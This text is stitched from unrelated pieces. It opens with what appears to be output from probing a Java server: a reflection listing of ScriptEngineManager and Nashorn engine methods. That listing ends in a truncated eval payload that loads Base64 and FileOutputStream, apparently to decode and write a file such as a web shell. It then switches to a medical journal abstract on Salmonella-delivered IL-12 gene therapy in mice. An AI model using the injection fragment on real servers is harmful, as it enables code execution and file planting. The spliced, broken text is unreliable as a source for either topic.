public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (12): 1738-1741.

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Oral gene therapy via live attenuated Salmonella leads to tumor regression and survival prolongation in mice

QI Huan1,LI Yu-hua2,ZHENG Shao-bin1 1Department of Urology,Nanfang Hospital,Southern Medical University,Guangzhou 510515,China;2Department of Hematology,Zhujiang Hospital,Southern Medical University,Guangzhou 510282,China   

  1. 南方医科大学南方医院泌尿外科； 南方医科大学珠江医院血液科； 南方医科大学南方医院泌尿外科 广东广州510515； 广东广州510282； 广东广州510515；
  • Online:2006-12-20 Published:2006-12-20

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Abstract: Objective To evaluate the feasibility of oral cytokine gene therapy against tumor using live attenuated Salmonella as a vector.Methods A live attenuated AraA-autotrophic mutant of Salmonella typhimurium(SL3261)was used as carrier for eukaryotic expression vectors EGFPN1 and pCMVmIL-12 administered orally in BALB/c and C57BL/6 mice.After 6 weeks,the mice were challenged with 4T1 or Lewis tumor cells,respectively,and flow cytometry and confocal microscopy were used to detect the expression of green fluorescence protein(GFP)in the tissues.PCR and ELISA were performed to detect the integration and expression of mIL-12 gene,and the survival time of the mice was also recorded.Results GFP expression and mIL-12 gene integration could be detected in the liver,spleen,intestinal,kidney and tumor tissues of the mice.The serum level of mIFN-γ,mIL-12 increased significantly in mice with oral mIL-12 administration(P<0.05),which resulted in the survival prolongation of the mice as compared with the control mice(P<0.05).Conclusion Oral gene therapy using live attenuated Salmonella can be potentially a simple,effective and above all,safe means for tumor treatment.

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